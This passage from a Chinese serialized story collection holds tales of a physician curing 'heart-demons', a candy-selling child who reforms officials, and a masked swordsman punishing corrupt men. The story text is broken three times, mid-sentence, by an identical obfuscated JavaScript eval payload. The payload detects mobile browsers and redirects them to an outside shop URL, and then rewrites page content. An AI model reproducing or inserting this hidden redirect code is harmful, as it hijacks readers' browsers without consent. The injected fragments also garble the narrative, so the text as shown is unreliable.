这日来个书生，姓柳，青衫洗白，面有痴色。坐摊前不语，只喃喃背诗：“曾经沧海难为水，除却巫山不是云…” 郎中听了半晌，忽道：“你这痴鬼，养了三年了吧？” 柳书生一震：“先生…知我？” “你背的元稹诗，是悼亡诗。你亡的，不是妻，是…功名？”郎中观其面，“三年前乡试，你本可中举，因考官误判落第。从此魂不守舍，日夜念叨‘沧海巫山’，是也不是？” 柳书生泪涌：“是…我苦读二十载，只差一步…我不甘！” “不甘是痴鬼食粮。”郎中提笔，“你痴迷功名，以为天地间唯此一路。如今路断，便觉人生无趣，终日恍惚——这是痴鬼迷心，让你只见一叶，不见泰山。” 落笔成方： “方：痴鬼障目。 药：明日去城隍庙，为乞儿讲学三日。 忌：再提功名。” “讲学？”柳书生茫然，“我…我能讲什么？” “讲你会的人伦日用，讲《千字文》《百家姓》。乞儿中有愿识字的，你教他们，看他们眼亮那一刻，比你看榜时如何。” 柳书生犹豫着去了。三日后回，神情大变，眼中有光：“先生！我教了七个乞儿认名字，他们笑得…像开花！我…我从未那般快活！” 郎中颔首：“痴鬼已去。功名是独木桥，人间是阳关道。你走阳关道，看见花开，听见儿笑，这才是活着。” 柳书生长揖到地：“学生…悟了。” 四、 慢鬼作祟 这日来的是个武师，姓雷，虎背熊腰，进门就嚷：“哪个是诊鬼的？给我看看！我近来手抖，扎马不稳，定是有小人作祟！” 郎中让他伸手，雷武师却一掌拍在摊上：“先露一手！若你是江湖骗子，我砸了这摊！” 摊桌晃，墨汁溅。郎中不动，只看他：“你手抖，是因上月比武，输给个后生，对么？” 雷武师脸涨红：“你…你听谁嚼舌？” “我不听人言，只看你相。”郎中徐徐道，“你眉间有戾气，是‘慢鬼’作祟。自觉天下第一，输不起，放不下，日夜琢磨，气血上涌，手自然抖。” “放屁！我雷某闯荡江湖二十年…” “二十年，养出一个‘我慢’鬼。”郎中提笔，“这鬼让你眼高于顶，看人皆低。输了，不反思己过，只怨天尤人。再这般，手抖是小，心脉将损。” 笔走龙蛇： “方：慢鬼压顶。 药：寻那后生，敬茶三杯，问‘我输在何处’。 忌：再自称‘老子天下第一’。” 雷武师怒目圆睁，半晌，却颓然坐下：“我…我实不知输在何处。我力大势沉，他轻灵刁钻…” “这便是了。”郎中递方，“去问，去学。武学无止境，慢鬼最阻人进步。你低了头，鬼就散了。” 雷武师踌躇三日，真去找了那后生。后生受宠若惊，细细拆解。雷武师听后，汗流浃背——原来自家破绽如此之多。 他回来，对郎中深鞠一躬：“先生，鬼散了。我手不抖了，心…也开了。” 五、 疑鬼生暗 最后一案，是个老妇，由儿媳搀来。老妇骨瘦如柴，眼窝深陷，抓住郎中手就哭：“先生救我！我夜夜见鬼，说我儿媳下毒害我…可我儿媳孝顺，定是恶鬼缠身！” 儿媳在旁抹泪：“婆婆，我怎会害您…” 郎中细观老妇面相，又让伸手，看掌心纹路，忽问：“大娘，你年轻时，可曾苛待过婆母？” 老妇浑身一颤。 “我…我没有…” “有。”郎中声音温和，却如针，“你婆母病时，你嫌她脏，喂药时摔过碗。她临终说‘你会遭报应’，你记到如今，对么？” 老妇瘫倒，泪如雨下：“是…我那时年轻，不懂事…如今我老了，怕儿媳也这般对我，夜夜噩梦…” “这是疑鬼。”郎中提笔，“你疑人，是因自知曾亏心。鬼不在外，在你心里——是当年的你，化成鬼，来讨债了。” 黄纸现字： “方：疑鬼噬心。 药：对儿媳三拜，说‘我当年错了’。 忌：再起猜疑。” 老妇颤抖，对儿媳跪下。儿媳急扶，婆媳抱头痛哭。 郎中温言：“疑鬼最毒，专蛀至亲。今日哭出来，鬼就散了。往后，信人如信己，待媳如待女，自然夜安枕。” 婆媳相携而去，背影依偎。 六、 五鬼现形 这五桩奇事，传遍济南。知府闻之，疑是妖人，命捕头暗查。捕头姓邢，老辣，扮作病患来诊。 坐摊前，不说病，只问：“先生，你说世上有鬼么？” 郎中笑：“有，也无。” “此话怎讲？” “说无，是因鬼非外物，是人心所化。说有，是因人心化鬼，能让人见幻象，生妄念，行恶事，与真鬼无异。”郎中直视他，“比如捕头你，心里就有只鬼。” 邢捕头一惊：“我有什么鬼？” “疑鬼。”郎中道，“你疑我是妖人，来查我。可你办案三十年，冤过多少人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088175|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，放过多少真凶，心里有本账。这账压着你，让你看谁都像贼——这是疑鬼生暗，让你眼浊心盲。” 邢捕头色变，手按刀柄。 “莫急。”郎中提笔，写方递上，“这方，给你自己，也给知府大人。” 邢捕头看方，黄纸上无字，只画了个圈，圈中有“心”字。 “这是…” “心病还需心药医。”郎中起身，收摊，“告诉知府，世间有鬼，皆在人心。他若想治济南，先治治衙门里的贪嗔痴慢疑。五鬼不除，济南永无宁日。” 言罢，背起布幡，飘然而去。 邢捕头追出，人已不见。唯见幡影在巷口一闪，有歌传来： “贪鬼牵袖嗔鬼舌，痴鬼迷心慢鬼咄。 疑鬼生暗暗生孽，五鬼皆是心头魔。 我今提笔开药方，不画符来不念咒。 但教世人勤拂拭，心灯一亮鬼自躲。” 声渐远。邢捕头怔立良久，回衙禀报。知府听罢，默然半日，下令清查积案，释冤者七人，惩恶吏三人。 说也奇，自那后，济南府狱中“闹鬼”之事渐绝。 尾声心灯长明 郎中一去不返。鬼市摊前，却常有人来，或坐或立，自言自语，仿佛对谈。 有老叟来，说：“先生，我照方退了昧心钱，如今睡得香。” 有少妇来，说：“先生，我信了夫君，他真未负我。” 有学童来，说：“先生，我不怕考不中了，教书也很好。” 无人应，只有风过幡杆，呜呜作响，似在答。 邢捕头退休后，在那摊址开了间茶棚，名“拂心棚”。谁来喝茶，他便讲“五鬼”故事。讲到末了，总说： “那先生没开药方，开了心方。鬼不在外，在内。各位喝茶时，也拂拂心，看住着哪只鬼。赶出去，茶才香。” 茶客笑，有的真低头思量。 永昌十年，济南大疫。人心惶惶，传言是“五鬼复出，瘟神下凡”。知府在城隍庙设坛祈福，无效。 忽一日，有人在拂心棚旁，见一布幡插地，上书： “瘟非鬼，乃气。气郁则瘟生，气通则瘟散。 方：开仓放粮，以安民心；设棚施药，以救民疾；掩埋死者，以净民气。 三事办，瘟自退。” 无署名，但字迹与当年郎中如出一辙。 知府见幡，悚然而惊，急办三事。半月后，瘟渐止。 百姓说，是“诊鬼郎中”又来了，这次治的是“瘟鬼”。 也有人说，夜行时，见一灰袍人影，在空巷中缓行，口中念念： “贪嗔痴慢疑，五鬼藏心底。 世人到处找，不知是自己。 拂去心头尘，点亮一盏灯。 灯亮鬼自消，人间处处明。” 是真是幻，无人知。 只知拂心棚的茶，一直热着。 只知来喝茶的人，走时心里都轻了些。 只知那首歌，在济南城里传着，一代，一代。 本章诫世 一、 五鬼在心之镜 - 以贪嗔痴慢疑对应五类“心鬼”，将外邪归于内魔 - 破解法：凡怨天尤人者，必先自察心魔 - 示例：米商贪、铁匠嗔、书生痴、武师慢、老妇疑 二、 心方胜药方之悖 - 不开草药开“心方”：赔罪、侍疾、讲学、低头、忏悔 - 惕世：当世重药石轻心疗，殊不知心病乃万病之源 - 反思：道场法事与一跪认错，哪个真能驱鬼？ 三、 拂心棚之喻 - 以茶棚代医摊，喻“治病”转为“防病” - 深层隐喻：社会治理不在驱鬼，在治人心 - 终极指向：瘟灾起于民怨，民怨起于不公，不公起于心鬼 辨鬼偈： 永昌七年秋风起，济南鬼市来神医。 不治风寒治心鬼，贪嗔痴慢疑五弊。 黄纸一方无草药，但教低头认己非。 世人皆道鬼可怖，不知鬼在心头栖。 后世叹： 济南城西鬼市喧，灰袍童子坐摊前。 贪商退米还药债，铁匠跪妻断邪缘。 痴生教乞开迷障，武师敬茶破慢圈。 莫道世间多鬼魅，心灯一亮即晴天。 正是： 鬼市幡扬秋风寒，童颜神医坐摊前。 贪嗔痴慢疑五鬼，皆在方寸一念间。 黄纸无药开心方，低头有泪见青天。 莫问郎中何处去，心灯自照即神仙。 24. 点官谳 楔子衙前稚子 大雍天启三年，河间府衙门外来了个卖糖人的。 卖糖人的常见，可这卖糖人的奇——是个十来岁的稚子，面如莲瓣，眼如点漆，挎个破竹篮，篮里插满糖人，捏的不是孙悟空猪八戒，尽是些官样人物：戴乌纱的、捧官印的、敲惊堂木的，个个眉眼生动。 更奇的是，这稚子不吆喝，只在衙前石狮旁一蹲，谁来买，先问：“客官做什么营生？” 若答是百姓，他便递个“戴花糖人”：“这个甜，吃了心里美。” 若答是小吏，他递“捧簿糖人”：“这个苦，吃了记性好。” 若答是官员…他摇头：“官爷的糖人，还没捏好。” 府衙书吏赵三钱路过，见糖人精巧，想买个给儿子。稚子问：“客官做什么营生？” “我？府衙刑房书吏。” 稚子从篮底摸出个糖人——是个书吏伏案写字，案头堆满卷宗。赵三钱接过，见糖人背后有字，凑近一看，是蝇头小楷： “一字入公门，九牛拖不出。 笔下有人命，墨里有冤魂。” 赵三钱手一抖，糖人差点落地。 一、 刑房糖语 赵三钱捏着糖人回衙，心神不宁。他是刑房老吏，专录口供，二十年经手案子无数。昨夜刚录完一桩——城南布商刘大富被告“强占民田”，苦主是个老农，证据确凿。可今早师爷暗示：“刘老爷是知府小舅子，笔下…松些。” 他正犹豫，稚子那两句话在耳边响。 午时，他又出衙。稚子还在，篮里糖人少了大半。赵三钱蹲下，低声问：“小孩，你那字…谁教的？” “糖人教的。”稚子捏着新糖人，头也不抬。 “糖人怎会说话？” “糖是甜的，话是苦的。甜苦相抵，便是真话。”稚子递过新糖人，这回是个书生夜读，灯下摊着本书，书页上竟有字： “读圣贤书，所学何事？ 明理正心，济世安民。 今人读书，只图金印。 印是方的，心是歪的。” 赵三钱心中剧震。他年轻时也是书生，苦读多年，只中个秀才，不得已入衙门谋生。初时也想“明理正心”，可二十年浸染，早忘了。 “你…你究竟何人？” “卖糖的。”稚子笑，露出缺牙，“官爷，你那案子，想好了么？” 赵三钱骇然：“你怎知…” “我不知。”稚子指糖人，“是它说的——你眉心有墨迹，是心里写字，手上难落笔。对不对？” 赵三钱默然良久，起身回衙。下午录供，他未“松笔”，如实记了刘大富强占田产、打伤老农。师爷看了供词，脸色铁青：“老赵，你…” “我照实记。”赵三钱淡淡道，“墨里若有冤魂，也是他刘大富的，不是我的。” 是夜，他梦见那糖人书生，灯下对他笑：“笔正了，心就安了。” 果然，一夜无梦。 二、 钱谷甜苦 消息传到钱谷师爷孙有道耳中。孙师爷管钱粮，手头正在核算秋税——今年水灾，按理该减，可知府说要“保库银”，意思很明白：照常收。 孙有道正拨算盘，闻糖人事，嗤笑：“装神弄鬼。”却也好奇，出衙来看。 稚子见他一身上好绸衫，问：“客官做什么营生？” “府衙钱谷师爷。” 稚子从篮中取出个糖人，奇形怪状：一人身，却长着算盘脑袋，铜钱眼睛，右手拨珠，左手数钱。背后有字： “算尽锱铢，算不尽民心。 数满金帛，数不完饿殍。 铁算盘，金秤杆， 称得了官银，称不了天道。” 孙有道面色一沉：“小子，谁指使你谤官？” “糖人自己长的字。”稚子眨眨眼，“师爷若觉得不像，我吃了他。”说罢真把糖人头咬下，嚼得嘎嘣响。 孙有道拂袖回衙。可那糖人模样，老在眼前晃。夜里对账，见“灾减项”下空着，他提笔欲填“免三成”，眼前忽现糖人那铜钱眼睛，冷冷看着他。 笔落下，成了“免五成”。 次日呈账，知府皱眉：“有道，这免多了吧？” 孙有道躬身：“大人，今年水大，灾民已聚城下。若再不减，恐生民变。到时…库银也保不住。” 知府沉吟，准了。 秋税收上来，果然少了三成，但灾民未聚，城下安宁。孙有道夜过糖人摊，稚子已收摊，石狮脚边却留了个小糖人，是普通老农，扛锄头，笑呵呵。底下压片纸： “铁算盘裂了道缝， 漏出三分慈悲。 慈悲是甜的， 比糖甜。” 孙有道拾起糖人，含在嘴里。真甜。 三、 知府惊梦 一连几日，知府孙廷玉坐立不安。赵三钱、孙有道先后“反常”，皆因那卖糖稚子。他命捕快暗查，回报说：稚子夜宿城隍庙，日卖糖人，无异常。只是糖人字句，总戳人心窝。 这日，孙廷玉换了便服，亲往察看。稚子正在捏新糖人，捏的是个知府模样，乌纱圆领，手持一卷文书。见他来，抬头笑：“客官也要糖人？” “嗯，捏个…知府样的。” 稚子摇头：“知府糖人，最难捏。捏清官，糖太稀，立不住；捏贪官，糖太黑，卖不出去。客官要哪种？” 孙廷玉沉脸：“清官如何？贪官如何？” “清官糖人，内空心，外光亮，好看不顶饱，一阵风就化了。”稚子边捏边说，“贪官糖人，实心，沉手，可芯是黑的，吃了闹肚子。” “那…不清不贪的呢？” “那更糟。”稚子将糖人递过，“你看，这官袍下，左边揣良心，右边揣私心，两心打架，糖人就裂了。” 孙廷玉接过糖人，果然，糖人腰腹处有道细微裂痕。背后有字： “袍是绯袍，心是灰心。 欲清怕穷，欲贪怕雷。 左顾右盼，三年无功。 上负君恩，下愧黎民。 此之谓‘庸官’， 比贪官更毒三分。” 孙廷玉手一颤，糖人落地，碎成数瓣。稚子叹：“可惜了，这糖人本是送你治病的。” “我…我有何病？” “庸病。”稚子直视他，“你上任三年，河间府赋税未减，冤狱未清，河道未修，学堂未兴。你不贪不占，可也不做不为。这庸病，最耗民脂，最伤民心。” 孙廷玉汗出如浆：“我…我也有难处…” “难在何处？难在怕上司不喜？难在同僚不容？难在…丢了这顶乌纱？”稚子声音转冷，“你可想过，城外灾民，难在无粮？牢中冤者，难在无天？学中童子，难在无师？他们的难，比你如何？” 孙廷玉语塞。稚子从篮底又取出一糖人，这回是襁褓婴儿，酣睡状。 “这个送你。”稚子道，“今夜置于枕边，若梦见婴儿哭，便是民心哭；若梦见婴儿笑，便是你该笑。” 孙廷玉茫然接过，回府。 是夜，真梦见一婴儿，在破屋中啼哭，声嘶力竭。他欲抱，婴儿忽变成糖人，化作糖水，从指缝流走。惊醒，枕边糖人婴儿，眼角竟有糖渍，似泪痕。 他独坐至天明。 四、 三事惊堂 次日升堂，孙廷玉第一件事：重审刘大富案，当堂判“退田赔银，枷号三日”。刘大富当堂撒泼，孙廷玉拍惊堂木：“本官依法而断，你敢咆哮公堂，再加十日！” 满堂哗然。三年了，知府头回这般硬气。 第二件事：张榜告示，减免今秋赋税三成，开义仓赈灾。师爷悄声：“大人，库银…” “库银是死的，民心是活的。”孙廷玉挥笔，“照办！” 第三件事：召各县教谕，命清查学田，增建义学。有教谕诉苦无银，孙廷玉道：“本官捐半年俸，各位量力而行。十年树木，百年树人，这钱，省不得。” 一日三令，河间震动。百姓聚衙前观望，窃窃私语：“孙青天转性了？” 傍晚，孙廷玉出衙，稚子糖人摊已收。石狮脚边又留一糖人，是知府升堂状，惊堂木高举，背后有字： “惊堂木， 木惊堂。 惊的是官胆， 醒的是民望。 今日三事， 可抵三年庸。 望君持之以诚， 河间可活。” 孙廷玉捧糖人，对石狮长揖。 当夜，婴儿糖人不再“流泪”。他放于案头，批文至深夜。 五、 糖人巡城 一月间，河间府气象一新。积案清了十七桩，冤狱平了三起，河道开工，义学增了五所。连街市乞丐，都说“知府老爷换了个人”。 这日，孙廷玉巡城，见稚子糖人摊还在，生意却淡了——因他捏的糖人，渐渐不“刺人”了，多是孩童玩意儿。 孙廷玉下轿，稚子抬头笑：“客官要糖人？今日有新样。” 捏了个骑马官， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088176|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扬鞭催马状。背后字： “马是骏马， 路是正路。 鞭莫停， 莫回顾。 前方有光， 是民心烛。” 孙廷玉接过：“小先生…要走了？” “糖卖完了，该走了。”稚子收拾篮子，“客官保重。” “你…究竟是谁？” 稚子背起篮，走了几步，回头：“我是个卖糖的。糖是甜的，话是苦的，事是难的，心是活的。客官记住，当官不难，难在常问自己：穿这身官袍，为的什么？若答得出，路就不会歪。” 他哼着歌谣走了： “糖人甜，糖人苦， 糖人心里藏官府。 官府本是民父母， 莫把父母当老虎。 虎要食人， 父母喂乳。 喂得民心饱， 江山万年固。” 歌声渐远。孙廷玉独立良久，对左右道：“回衙，把这首童谣，抄百份，贴遍河间。让所有官吏，每日念三遍。” 尾声糖印江山 三月后，河间府考绩，孙廷玉得“卓异”，升任按察使。离任那日，百姓送“万民伞”，他拒了，只收了三样：一捧河间土，一块惊堂木碎片，一本童谣抄本。 行至城门口，见一稚子在卖糖，却不是原来那个。他上前问：“小兄弟，可知从前在此卖糖的那个孩子？” 卖糖童摇头：“不知。不过我师父说，糖人捏心，心正糖甜。官爷要糖人么？” “捏个…按察使吧。” 卖糖童捏了个骑马官，持印，背后字： “官印四方， 民心如糖。 印重千斤， 糖化柔肠。 掌印时， 想想糖的甜， 印才盖得正， 江山才坐得长。” 孙廷玉含泪接过，上马离去。 后来，他任所至处，必寻卖糖人，买糖人，置于案头。有下属笑他痴，他说：“这不是糖人，是镜子，照心镜。” 再后来，他官至尚书，在京城府邸设“糖人斋”，收藏各地糖人百尊。每有门生故吏来，他便指糖人：“看，这比圣训管用。圣训在纸上，糖人在心里。” 他活到八十，临终前，子孙问有何遗言。他指糖人斋：“我死，糖人分赠清官。告诉他们…当官，别让糖人流泪。” 言罢，含笑而逝。 而河间城，那首童谣，一直传着。有孩童卖糖，还会捏“知府糖人”，背后字句，代代新添。 最新一版是： “糖是民膏，官是民膏。 膏泽天下，天下饱。 膏肥己身，身先槁。 愿君常捏糖人看， 莫忘初心里外甜。” 糖人易化，童谣难灭。 民心如糖，甜苦自知。 官印如山，轻重自量。 本章诫世 一、 糖人刺心之镜 - 以糖人为喻，将官场百态凝于方寸 - 破解法：凡觉“刺心”者，必是心中有愧 - 示例：刑房吏、钱谷师、庸知府，皆因糖人照见本心 二、 童谣醒官之悖 - 稚子童谣，竟比圣训更能触动官僚 - 惕世：当体制内自省失效，真言或来自草野 - 反思：是官教化民，还是民点化官？ 三、 糖印江山之喻 - 官印与糖人并置，喻权力当有甘甜民心为基 - 深层隐喻：治国如熬糖，火候分寸差之毫厘，谬以千里 - 终极指向：江山稳固不在金印，在民心之“甜” 点官偈： 天启三年秋风高，河间衙前卖糖童。 捏尽官场百态相，写透人心一点窍。 刑吏笔下墨生悔，钱谷算盘珠漏恸。 最是庸官裂糖人，三事惊醒三年梦。 后世叹： 大雍天启河间府，稚子卖糖衙前舞。 糖人背后字如针，刺醒三年糊涂主。 惊堂木响冤狱开，义仓粮放饥民哺。 莫道童谣无大力，能教官印化甘乳。 正是： 河间秋深霜叶红，衙前稚子捏糖工。 笔下有冤墨生愧，算中无□□漏穷。 惊堂木响三年梦，童谣声传百里同。 莫问糖人何处去，民心自在此甜中。 25. 悬榜谳 楔子榜上留字 大秦永徽三年，长安西市，悬赏榜前人头攒动。 京兆府新贴海捕文书，缉拿江洋大盗“一阵风”。此贼年余间作案十七起，专劫官银，伤人无数。赏格高达白银三千两，附贼人画像，鹰目钩鼻，甚为凶恶。 众人正指指点点，忽闻一声长笑。但见一灰衣人排众而出，身形瘦削，面罩薄纱，难辨男女。行至榜前，不观画像，反抽剑在手——剑是木剑，长三尺，钝而无锋。 “他要作甚？”观者低语。 灰衣人运剑如笔，竟在悬赏榜空白处，唰唰写下四行字。字迹银钩铁画，入榜三分： “十步杀一人，千里不留行。 事了拂衣去，深藏身与名。” 落款处，画了个小小剑印。 写罢，木剑归鞘，转身即走。众人尚未回神，那灰衣人已没入人海，踪迹杳然。 榜前死寂片刻，忽有人惊呼：“看那画像！” 却见“一阵风”的画像，眉心多了一点朱砂，殷红如血。而榜上墨迹，在日光下竟泛淡淡金芒，与官府朱批相映，说不出的诡异。 “是…是‘剑印客’！”有老者颤声道。 一、 夜雨留剑 当夜，京兆尹周正德坐立难安。 白日榜前之事，已传遍长安。那四句诗，他认得，是前朝李太白《侠客行》中的。可写在悬赏榜上，意味大不同——这是公然挑衅，还是别有深意？ 更奇的是，画像眉心那点朱砂，水洗不去，刀刮不掉，仿佛天生在纸上。 “大人！”捕头赵闯急入，“‘一阵风’…有消息了！” “在何处？” “在…在咱们大牢！” 周正德霍然起身。二人急趋大牢，但见最里一间死囚牢内，一人蜷缩角落，瑟瑟发抖，正是画像上的“一阵风”。他手脚完好，无械无枷，只是脖颈衣领内，插着一柄木剑——正是白日榜前那柄。 木剑上刻八字： “尔命当绝，暂寄此颅。 三日自省，再定生死。” 狱卒说，子时换岗，此牢尚空。丑时再查，贼人已在，木剑已插，无人知何时、如何进来的。 周正德抽剑细看，木剑轻若无物，剑身微温。再看“一阵风”，脸色惨白，语无伦次：“鬼…是鬼！我睡在家中，忽然天旋地转，醒来就在这儿了！是鬼抓我来的！” “你家在何处？” “城外…三十里黑风寨…” 三十里！周正德毛骨悚然。从黑风寨到长安大牢，要过三重城门、十二道岗哨，便是飞鸟也难悄入。此人…真是鬼？ 不，是“剑印客”。 周正德捏着木剑，忽觉重如千钧。这剑，是功绩，也是烫手山芋——贼是抓住了，可怎么抓住的？说是“剑印客”代劳，朝廷颜面何存？若不说，如何解释这神鬼莫测的擒贼？ 正踌躇，有狱卒惊呼：“大人！剑上有字在变！” 定睛看去，木剑上那八字，竟如冰雪融化，渐渐消失。旋即浮现新字： “贼在此，赏银何用？ 散于民，可积薄德。” 字现片刻，又隐去。木剑“咔嚓”轻响，自断三截，落在地上，竟化作木屑，随风散了。 “一阵风”见剑碎，怪叫一声，昏死过去。 周正德默立良久，对赵闯道：“传令，三千两赏银，半数抚恤受害者，半数赈济贫民。对外就说…是咱们夜袭黑风寨擒的贼。” “那‘剑印客’…” “什么剑印客？”周正德拂袖，“本官不知。你也不知。” 赵闯会意，低头称是。 二、 花楼留香 “一阵风”伏法，长安城议论了几天，渐归平静。可“剑印客”之名，却在市井悄然传开。 有人说他是剑仙，有人说他是大盗，更多人信他是个“赏善罚恶”的游侠。茶楼酒肆，时闻说书人拍醒木：“话说那剑印客，十步杀一人，千里不留行。为何？杀的是恶人，行的是天道！” 这话传到平康坊，惹恼一人。 谁？花魁玉玲珑的恩客，户部侍郎之子，杜子腾。此子仗父势，横行长安，人送诨号“杜阎王”。这日在怡红院吃酒，闻说书人讲“剑印客专惩恶少”，勃然大怒，摔杯骂道：“什么狗屁剑客！若来，小爷一刀捅了他！” 众妓噤声。杜子腾犹骂不绝，忽闻窗外有人轻笑。 “谁？！” 推窗望去，但见对面屋顶，坐一人，灰衣飘飘，面罩轻纱，正就着月色饮酒。见他开窗，举杯示意。 “你就是那剑印客？”杜子腾酒气上涌，拔刀指骂，“有胆下来，与小爷大战三百回合！” 灰衣人摇头，声音清越如泉：“你，不配我拔剑。” “狂妄！”杜子腾欲唤家丁，却见灰衣人扬手，一物破窗而入，正落在他桌前——是个绣花香囊，香气馥郁。 正是玉玲珑今早丢失的贴身之物。 “此物，你从何得来？”灰衣人问。 杜子腾脸色一变——这香囊，是他昨夜强要的。玉玲珑不愿，被他扇了一耳光，硬抢了来。 “关…关你屁事！” “强夺民物，掌掴弱女，此为一恶。”灰衣人数道，“上月，你纵马踏伤老乞，赔钱一文，此为二恶。去岁，你逼死城南刘氏绣娘，此为三恶。三恶并罚，该当如何？” 杜子腾冷汗涔涔，这些事他做得隐秘，此人如何得知？ “你…你血口喷人！” 灰衣人自怀中取出一卷纸，展开，竟是份“罪状”，密密麻麻，记着杜子腾十余桩恶行，时间、地点、人证俱全。 “这状子，我已抄送三份，一送京兆府，一送刑部，一送…你父亲杜侍郎案头。”灰衣人折起状子，“三日内，你若不自首，第四份，就贴在这怡红院门口，让长安百姓都看看，户部侍郎教的好儿子。” 言罢，飘身下檐，歌曰： “十步惩一恶，千里送状书。 事了拂衣去，深藏功与名。” 歌声渐远。杜子腾瘫坐在地，面无人色。 三日后，杜子腾真去京兆府自首，招供七桩，避重就轻。周正德正头痛如何处置，忽接杜侍郎密信：“犬子无状，请大人严惩，以儆效尤。” 周正德愕然——这杜侍郎最是护短，怎的转了性？ 幕僚低语：“听闻昨夜，杜府书房案头，突然多了柄木剑，剑下压着那第四份状子…” 周正德恍然，急问：“剑印客又留字了？” “是，四字：‘子不教，父之过。’” 周正德长叹，提笔判了个“流放三千里”。杜子腾离京那日，百姓沿途掷石，骂声不绝。据说，押解官差怀中，都揣了份抄录的罪状，说是“若此子途中作恶，就贴遍州县”。 自此，长安恶少，收敛许多。 三、 粮仓留影 永徽四年，关中大旱。朝廷拨赈灾粮十万石，经户部转运，至长安时，只剩七万。三万石不翼而飞。 龙颜大怒，限期十日破案。户部上下焦头烂额，查来查去，竟无头绪——账目清楚，押运无误，粮就是少了。 第九日深夜，户部侍郎杜明义（杜子腾之父）独坐书房，对案发呆。忽听窗响，一人飘然入内，灰衣纱面，正是剑印客。 杜明义惊起：“你…你是人是鬼？！” “侍郎希望我是人是鬼？”剑印客声音平静，“若我是人，侍郎贪墨的三万石粮，就该吐出来。若我是鬼…侍郎就不怕，夜半索命？” 杜明义脸色煞白：“你胡说什么！本官清清白白…” “清不清白，看看这个。”剑印客抛出一本账册。 杜明义翻开，浑身冰凉——这是他私设的暗账，记着三万石粮的流向：一万石卖与米商，得银入私囊；两万石囤于私仓，待价而沽。账本应藏在密室，此人如何得来？ “你…你欲何为？” “明日午时，开私仓放粮，散于灾民。所得银两，加倍捐出，设粥棚百日。”剑印客道，“如此，或可保你全家性命。” “我若…不从呢？” 剑印客不答，只从怀中取出一方白绢，抖开。绢上竟有人影晃动，细看，是杜明义与米商密谈的画面，连对话都清晰可闻： “米价已涨三倍，此时出手，可赚十倍…” “谨慎些，莫留痕迹…” 杜明义魂飞魄散——这绢，竟能留声留影？！ “此绢，我复了十份。”剑印客收起白绢，“九份已送御史台、大理寺、京兆府…及另几位侍郎府上。最后一份，在陛下枕边。侍郎，明日午时，你是开仓，还是开斩？” 说罢，穿窗而出，消失于夜色。 杜明义瘫坐在地，汗透重衣。 次日午时，杜明义真开了私仓。两万石粮涌出，灾民哄抢。他立于仓前，面如死灰，喃喃道：“本官…本官体恤灾民，捐粮赈济…” 人群中，灰衣人远远看着，轻轻摇头。 是夜，杜明义自缚请罪，供出同党七人。三万石粮追回，米商伏法。陛下念其悔过，免死，革职流放。 离京时，杜明义怀中掉出一方白绢，正是那“留影绢”。拾起细看，绢上空空，哪有人影？不过一方素绢而已。 他怔了半晌，忽仰天大笑：“幻术！是幻术！他诈我！” 可粮已散，罪已供，回不了头了。 四、 金殿留诗 三案过后，“剑印客”名动长安。百姓奉若神明，官吏谈之色变。陛下闻之，召周正德问询。 周正德据实以奏。陛下听罢，沉默良久，道：“此人行事，虽不合律法，却合天道。然以武犯禁，终非长久。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088177|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朕…想见见他。” “陛下，此人神出鬼没，恐难…” “无妨。”陛下提笔，亲书一诏，悬于午门： “剑印客台鉴： 朕闻卿行事，赏善罚恶，颇有古侠之风。 然法为国之纲纪，卿纵有义心，不宜私刑。 今朕开明堂，设‘侠义司’，请卿主之。 以朝廷之名，行侠义之事， 名正言顺，卿可愿否？” 诏书悬了三日，无人揭。 第四日拂晓，守军发现，诏书旁多了一行字，以木炭写就： “侠者，以武犯禁。 司者，以法束人。 侠入司中，如鸟入笼， 虽得粟米，失却长空。 陛下美意，心领。 江湖路远，各自珍重。” 字迹旁，印着那枚小小剑印。 陛下得报，不怒反笑：“好个‘失却长空’。此人志在江湖，不在庙堂。” 遂收回成命，但暗中下旨：凡剑印客所惩之恶，官府需彻查严办，不得推诿。又命刑部增设“闻风使”，专察民间冤情。 有大臣谏：“陛下，此风不可长。若人人效仿，以武乱法，国将不国。” 陛下道：“若官吏尽忠职守，司法清明，何需侠客？剑印客，是镜，照出我等不足。朕当谢他。” 这番话传开，长安吏治为之一肃。 尾声剑印常在 永徽五年秋，剑印客最后一次现身。 城南贫民窟起疫，官府隔离，却少医药。一夜之间，疫区各家门前，都放了一包药，附药方，书：“按方煎服，三日可愈。”药包上，皆印剑印。 三日后，疫果大减。百姓对空叩拜，称“剑仙赐药”。 又过三日，有人在西市悬赏榜前，见灰衣人负手观榜。榜上已无“一阵风”，换了个采花贼的画像。 灰衣人看罢，抽木剑，在榜旁粉墙题诗一首： “十步一杀非本心， 千里独行因世沉。 拂衣去后身名藏， 